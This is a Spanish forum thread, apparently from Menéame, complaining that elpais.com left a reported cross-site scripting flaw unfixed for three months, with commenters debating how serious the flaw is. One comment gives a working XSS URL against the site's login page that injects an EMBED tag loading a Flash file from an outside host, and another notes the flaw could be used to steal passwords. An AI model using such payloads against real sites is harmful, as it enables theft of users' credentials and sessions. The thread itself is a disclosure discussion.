Avisan de XSS en elpais.com y en 3 meses ni hacen, ni dicen nada

El problema no es el bug de XSS del elpais.com sino que no hayan solucionado el tema en 3 meses.[c&p del autor]: han pasado aproximadamente 3 meses desde que reporté este problema y hasta el momento ni lo han solucionado, ni he recibido respuesta alguna.

[#4 Taikochu]

Alex Concha, el terror de todo programador web con poca preocupación por la seguridad. La verdad es que gracias a él, el menéame es mucho más seguro (el mismo Galli así lo reconoce). Un saludo!

[#6 Jason_v]

#5 La cosa es que alex no sabe las implicaciones del bug, con lo que no explicada nada sobre el, pero tampoco creo que sea para tanto si no aparece el bug explicado.

Lo importante de la noticia es que el país hace oidos sordos aun a sabiendas de que tiene un bug de seguridad en la web.

[#1 Jason_v]

Eso es lo que se preocupan este tipo de páginas en materia de seguridad, 0. Luego si les juankean ya llorarán.

[#11 Hass]

#9 "¡no hay bug!" ¿Y esto que es? http://www.elpais.com/clientes2/conectar1.html?backURL=%22%3E%3CEMBED%20SRC=%22http://ha.ckers.org/xss.swf%22%20AllowScriptAccess=%22always%22%3E%3C/EMBED%3E
PLONK!

Y supongo que el autor no sabe que impacto puede tener porque no se habrá parado a explotarlo para comprobarlo. Cosa bastante normal dados los casos de white hats demandados sólo por comprobar vulnerabilidades...

[#15 alex]

rogersm, en donde vivo eso se considera un bug más allá de las consecuencias que pueda o no tener, no creo que ningún desarrollador introduzca intencionalmente ese tipo de cosas como "feature".

Con respecto a lo que dices en #9:
Me resulta curioso como inicialmente dudas de si es un bug o no, pero a la vez confías ciegamente cuando digo "No tengo idea sobre el impacto de este bug en ese sitio".

Finalmente, en ningún momento dije que no encontré ningún impacto, simplemente me he limitado a comentar el bug; pero si insistes en ver resultados y tienes una cuenta u otro tipo de acceso a elpais.com (http://www.elpais.com/clientes2/SuscripcionPortadaP1.html), podríamos trabajar juntos para ver las verdaderas consecuencias .

[#5 XepC]

#0 Hombre, no seré tan terminante como #3 (ni votaré amarillista), pero sí que diré que los que no entendemos del asunto agradeceríamos una explicación un poco más generosa, la verdad.

[#7 Taikochu]

#5 Posiblemente lo máximo que se pueda hacer sea colar "contenido" en la página del País "fabricando" una url para tal efecto.

[#12 Hass]

Poder insertar código en cualquier página que se vea logeado es grave. Pero poder insertarlo en la propia página de login ya es de traca.

¿No veis que se puede insertar código que lea o cambie los valores que metes? Robo de contraseñas, robo de identidad, etc.

[#2 agusti]

#1 o te criminalizan que es peor.

[#8 agusti]

#6 exactamente, lo importante es que en general la gente pasa de todo a nivel de seguridad.

[#14 agusti]

rogersm: Hass ya te ha mostrado como utilizarlo, el exploit lo deja para el lector hábil... do it yourself!

[#16 mimismo]

Para gente como #3 a ver si primero se informan por lo menos en la Wikipedia ( http://es.wikipedia.org/wiki/XSS ) para luego entrar en explicaciones más técnicas ( http://ha.ckers.org/blog/category/webappsec/xss/ ). El fallo no es explotable en si, pero e sposiblemente el primero en una secuencia de pasos que posibilitan una intrusión. Sin ir más lejos, gracias a un fallo sin posibilidades de intrusión directa (el mismo que se nombra en esta noticia) fue posible penetrar el sitio que indexa la mayoría de las intrusiones en el mundo : Hackeada Zone-h, la principal base de datos de páginas 'hackeadas'

Hackeada Zone-h, la principal base de datos de pág...

Y si mi explicación no te basta, acá está la de los expertos respondiendo tu misma pregunta http://sla.ckers.org/forum/read.php?3,3843

Como dicen por ahí, la ignorancia es atrevida.

[#10 Desactivado]

Estoy de acuerdo con #9, hay que ver que impacto tendría, lo mismo han visto que no se podia sacar chicha de eso y por eso no lo han arreglado aunque debieran haber contestado. Yo mismo hace cosa de un mes les mande un e-mail diciendo que una seccion en concreto se veia mal con el firefox 2.0, me contestaron rapidamente que se lo pasarian al departamento tecnico o lo que fuera y hoy he visto que ya esta solucionado

[#13 gogogogo]

#11 y #12 exploit or shut up.

[#9 gogogogo]

#6 ojo... que no es eso. ¡Nadie dice que sea un bug excepto buayacorp! Reconoce que no sabe que impacto tiene, es decir... no ha encontrado impacto y si no hay impacto, ¡no hay bug!

[#3 gogogogo]

Votada amarillista. El mismo artículo no dice que implica semejante fallo o si sirve para algo explotarlo.